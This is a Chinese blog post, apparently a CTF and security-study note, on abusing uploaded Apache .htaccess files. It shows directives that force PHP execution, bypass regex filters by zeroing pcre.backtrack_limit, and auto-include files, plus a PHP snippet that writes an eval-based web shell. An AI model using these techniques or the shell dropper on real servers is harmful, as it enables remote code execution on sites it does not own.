【Web安全】htaccess攻击

news/2024/4/21 14:01:01/文章来源:https://blog.csdn.net/likinguuu/article/details/136571631

.htaccess攻击

文章目录

  • .htaccess攻击
    • 1. .htaccess文件
    • 2. 常见用法
      • 2.1. 自定义出错界面
      • 2.2. 强制文件执行方式
      • 2.3. PCRE绕过正则匹配
      • 2.4. php_value修改php设定
      • 2.5. php_value文件包含
      • 2.6. 把htaccess当作php

1. .htaccess文件

.htaccess是Apache网络服务器一个配置文件,当.htaccess文件被放置在一个通过Apache Web服务器加载的目录中,.htaccess文件会被Apache Web服务器软件检测并执行,通过.hatccess文件,可以改变Apache服务器软件的功能和特性。在这之前先了解apache中的httpd.conf文件,这是apache的配置文件,由于网站的发展来看大多数网站都是通过协同来进行的,个人很难通过修改httpd.conf来修改apache的配置特性,所以引出了.htaccess文件的概念,它有着和httpd.conf文件相同的作用。

.htaccess文件提供了针对目录的配置变换方法,这样有利于不同目录用不同的配置,即在一个特定的文档中放置一个htaccess文件以作用此目录及其所有子目录,并且可以被子目录覆盖。作为网站管理员可以限制htaccess文件的使用,方法就是将Apache中的AllowOverride设置为All,以及mod_rewrite.so(在httpd.conf文件中)

  • 允许重写覆盖相关配置:
# Deny access to the entirety of your server's filesystem. You must
# explicitly permit access to web content directories in other 
# <Directory> blocks below.
#<Directory />Options +Indexes +FollowSymLinks +ExecCGIAllowOverride AllOrder allow,denyAllow from allRequire all granted
</Directory>
  • 允许在httpd.conf外重写配置:
#LoadModule request_module modules/mod_request.so
#LoadModule reqtimeout_module modules/mod_reqtimeout.so
LoadModule rewrite_module modules/mod_rewrite.so   <--这一个
#LoadModule sed_module modules/mod_sed.so
#LoadModule session_module modules/mod_session.so

如果一个web应用允许上传htaccess文件并且允许重写,那就意味着可以更改apache的配置包括过滤操作,攻击想象面极大。

2. 常见用法

参考于[CTF].htaccess的使用技巧总结,由于是偏笔记类的博客,所以不给出太多的案例。

2.1. 自定义出错界面

使用htaccess创建自定义的出错界面,这也可以是一个URL,对于linux来说:

ErrorDocument 404 /path/to/your/error/pages/404.html  
ErrorDocument 500 /path/to/your/error/pages/500.html

但是对于windows来说我用这种方式不行,它会显示找不到我也不知道为什么,或者直接显示文件名(同一个目录),但是由于它可以是一个url所以我使用http协议,当然也可以使用目录穿越:

ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/error/error.php
ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/../upload/error/error.php

2.2. 强制文件执行方式

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

这一种方式可以强制文件被哪一个解析器执行,尤其是利用修改后缀的木马文件。

AddHanlder application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddType application/x-httpd-php .xxx 同上AddHandler的作用

AddType和AddHanlder同理,但是一般能上传htaccess文件的一般直接使用SetHandler了

在这里插入图片描述

2.3. PCRE绕过正则匹配

PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

php_value pcre.backtrack_limit 0

简单总结一下,假如我们有一个php语句为<?php phpinfo();?>abcdef,不管什么文件后缀都会执行正则匹配

preg_match('/<\?.*[(`;?>].*/is', $data);  

其中正则匹配循环到这两个.*已经匹配完所有字符了即到达abcdef的f,但是点星后面还有字符所以会进行回溯,重点就是这个回溯操作。回溯过程就是从f开始往前匹配,如果其中有匹配[(`;?>]的就结束,这个就是点星的匹配逻辑,如果没有回溯则点星就会匹配完<?php phpinfo()?>abcdef,而不满足原来则正则表达式,所以会返回false从而实现绕过。php设定了回溯最大次数,如果我们修改这个回溯次数为0,超过最大次数就会返回false(不是0也不是1,但是正常的匹配是会返回0或1的),可以实现绕过。

但是存在非贪婪模式的正则匹配,那可以输入大量的字符在/**/注释符中,使回溯次数超过限制。

解决方案就是,使用全等号来判断返回值。

2.4. php_value修改php设定

想要使用htaccess修改php的设定,需要有AllowOverride Options 或AllowOverride All 权限才可以。

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。(注,这是原作上写的,我按照过程实践了一遍,value有值还是可以修改设定,先放着吧)

而.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令(https://www.php.net/manual/zh/configuration.changes.modes.php)
而具体的类型的指令可以参考官方文档https://www.php.net/manual/zh/ini.list.php

可以利用这个创建一句话木马,只要将写木马的代码以合法的后缀(啥都行,一个字母也行)传送到网站中即可。

php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容
<?php
$new_file_name = "shell.php";
$shell_content = '<?php @eval($_POST[\'x\']);?>';if (file_put_contents($new_file_name, $shell_content) != false) {
echo "Shell文件创建成功";
} else {
echo "创建Shell文件失败";
}
?>

创建的shell在被解析文件的目录中

2.5. php_value文件包含

php_value的作用还可以文件包含,在作用范围内的php文件头/尾自动include指定文件,支持php伪协议.htaccess可以使得include默认路径改变,即:

在这里插入图片描述

通过改变include_path的值可以实现默认路径改变。

2.6. 把htaccess当作php

  • 当前文件下有php文件
php_value auto_append_file .htaccess
#<?php phpinfo();
  • 当前文件下没有php文件,先要设置htaccess允许访问
<Files .htaccess>SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

下面知识比较模糊,之后总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_999365.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

系统提示mfc100u.dll丢失或错误的解决方法分享

mfc100u.dll是Microsoft Foundation Classes (MFC)库中的一个关键动态链接库文件。 mfc100u.dll文件是Microsoft Foundation Classes (MFC)库的一部分&#xff0c;这是一个为软件开发者提供的一系列类和功能&#xff0c;旨在简化Windows应用程序的开发过程。这个特定的文件包含…

酷开科技以消费者需求为导向冲刺OTT行业的星辰大海

通过大屏营销、互动营销等方式&#xff0c;提升品牌认知度和市场竞争力。酷开科技始终坚持以消费者的需求为导向&#xff0c;致力于为品牌方和消费者搭建高效、准确的沟通桥梁&#xff0c;开创OTT大屏营销新纪元。 伴随技术发展&#xff0c;智能电视已经从“尝鲜”变成了主流产…

GO语言并发编程

点击名片关注 阿尘blog&#xff0c;一起学习&#xff0c;一起成长 1 Goroutine和channel Go语言通过goroutine和channel来实现并发编程。Goroutine是Go语言中轻量级的线程&#xff0c;它由Go运行时&#xff08;runtime&#xff09;管理&#xff0c;并且拥有自己的栈空间。Gorou…

mac本地启动sentinel

启动Sentinel控制台 1&#xff09;下载sentinel控制台jar包 https://github.com/alibaba/Sentinel/releases/download/1.8.6/sentinel-dashboard-1.8.6.jar 2&#xff09;启动sentinel控制台 使用如下命令启动控制台&#xff1a; java -Dserver.port8080 -Dcsp.sentinel.d…

flink实战--Flink任务资源自动化优化

背景 在生产环境Flink任务资源是用户在实时平台端进行配置,用户本身对于实时任务具体配置多少资源经验较少,所以存在用户资源配置较多,但实际使用不到的情形。比如一个 Flink 任务实际上 4 个并发能够满足业务处理需求,结果用户配置了 16 个并发,这种情况会导致实时计算资…

Ajax+Axios+前后端分离+YApi+Vue-ElementUI组件+Vue路由+nginx【全详解】

目录 一.Ajax技术 二. Axios 三.前后台分离开发介绍 四. YAPI 五.前端工程化 六.vue工程的目录结构 七.Vue项目核心文件 八.Vue组件库ElementUI AboutView.vue最终代码 AboutView.vue最终代码 九.Vue路由 十.案例 十一.nginx介绍 一.Ajax技术 1.Ajax概述 Ajax: 全…

最新基于R语言lavaan结构方程模型(SEM)技术

原文链接&#xff1a;最新基于R语言lavaan结构方程模型&#xff08;SEM&#xff09;技术https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247596681&idx4&sn08753dd4d3e7bc492d750c0f06bba1b2&chksmfa823b6ecdf5b278ca0b94213391b5a222d1776743609cd3d14…

git分布式管理-头歌实验合并远程分支、rebase、储藏

一、合并远程分支merge 任务描述 在软件开发中&#xff0c;通常会在版本库中创建多个不同的分支进行开发。例如&#xff0c;最基本的可以有一个测试版分支和一个正式版分支&#xff0c;其中测试版分支用来完成最新功能代码的开发与测试&#xff0c;正式版则用于管理即将发布的版…

C# OpenCvSharp DNN 部署L2CS-Net人脸朝向估计

目录 介绍 效果 模型信息 项目 代码 下载 介绍 github地址&#xff1a;https://github.com/Ahmednull/L2CS-Net The official PyTorch implementation of L2CS-Net for gaze estimation and tracking 效果 模型信息 Inputs ------------------------- name&#xff1…

深入探索加载器(Loader)与插件(Plugin)的工作原理与技术实现

在软件开发和构建过程中&#xff0c;加载器与插件是两大核心组件&#xff0c;它们共同助力开发者实现代码的模块化、可扩展性以及复用性。对于技术型论坛的读者来说&#xff0c;理解这两者的工作原理和技术实现至关重要。以下&#xff0c;我们将对加载器和插件进行深入的剖析。…

【大数据】通过 docker-compose 快速部署 MinIO 保姆级教程

文章目录 一、概述二、MinIO 与 Ceph 对比1&#xff09;架构设计对比2&#xff09;数据一致性对比3&#xff09;部署和管理对比4&#xff09;生态系统和兼容性对比 三、前期准备1&#xff09;部署 docker2&#xff09;部署 docker-compose 四、创建网络五、MinIO 编排部署1&…

sheng的学习笔记-AI-多分类学习:ECOC,softmax

目录&#xff1a;sheng的学习笔记-AI目录-CSDN博客 基本术语&#xff1a; 若我们欲预测的是离散值&#xff0c;例如“好瓜”“坏瓜”&#xff0c;此类学习任务称为“分类”(classification)&#xff1b; 若欲预测的是连续值&#xff0c;例如西瓜成熟度0.95、0.37&#xff0c;…

Java基础数据结构之队列

一.什么是队列 队列是一种先进先出的数据结构&#xff0c;也就是从左边进从右边出&#xff0c;或者说&#xff0c;只允许在一端插入元素&#xff0c;在另一端删除元素 进行插入操作的一端称为队尾&#xff08;tail/rear&#xff09;&#xff0c;删除操作的一段称为队头&#…

第二门课:改善深层神经网络<超参数调试、正则化及优化>-优化算法

文章目录 1 Mini-batch梯度下降2 理解Mini-batch梯度下降法3 指数加权平均数4 理解指数加权平均数5 指数加权平均的偏差修正7 RMSprop<均方根传播>8 Adam优化算法<Momentum与RMSprop结合>9 学习率衰减10 局部最优的问题 1 Mini-batch梯度下降 Batch梯度下降法&…

win11本地账户登录密码忘了

第一个方法&#xff1a;没有权限&#xff08;可以研究下如何拿到权限&#xff0c;我后来没研究&#xff09; 第二个办法解决问题&#xff1a; 参考这个图&#xff1a; 步骤&#xff1a; 0.背景描述&#xff1a;我wly_yxx的账户&#xff08;类型是管理员&#xff09;知道pin可…

eclipse搭建java web项目

准备条件 eclipsejdk1.8 &#xff08;配置jdk环境&#xff09;apache-tomcat-8.5.97&#xff08;记住安装位置&#xff09; 一 点击完成 开始创建javaweb项目 import java.io.IOException; import java.io.PrintWriter;import javax.servlet.ServletException; import javax.s…

数据库系统概念(第一周)

⚽前言 &#x1f3d0;四个基本概念 一、数据 定义 种类 特点 二、数据库 三、数据库管理系统&#xff08;DBMS&#xff09; 四、 数据库系统&#xff08;DBS&#xff09; &#x1f3c0;数据库系统和文件系统对比 文件系统的弊端 &#x1f94e;数据视图 数据抽象 …

开源模型应用落地-工具使用篇-Spring AI-高阶用法(九)

一、前言 通过“开源模型应用落地-工具使用篇-Spring AI-Function Call&#xff08;八&#xff09;-CSDN博客”文章的学习&#xff0c;已经掌握了如何通过Spring AI集成OpenAI以及如何进行function call的调用&#xff0c;现在将进一步学习Spring AI更高阶的用法&#xff0c;如…

排序——选择排序

基本思想 每一趟在待排序元素中选取关键字最小的元素加入有序子序列。 算法代码 #include <iostream> using namespace std;//选择排序 void SelectSort(int nums[],int n){int i,j,min;for(i0;i<n-1;i){ //一共需要进行 n-1 趟 mini; //记录最小元素的下…

python导出数据到sqlite中

import sqlite3# 数据 data [{username: 张三, age: 33, score: 13},{username: 李四, age: 44, score: 14},{username: 王五, age: 55, score: 15}, ]# 连接SQLite数据库&#xff08;如果不存在则创建&#xff09; conn sqlite3.connect(test.db)# 创建游标对象 cursor con…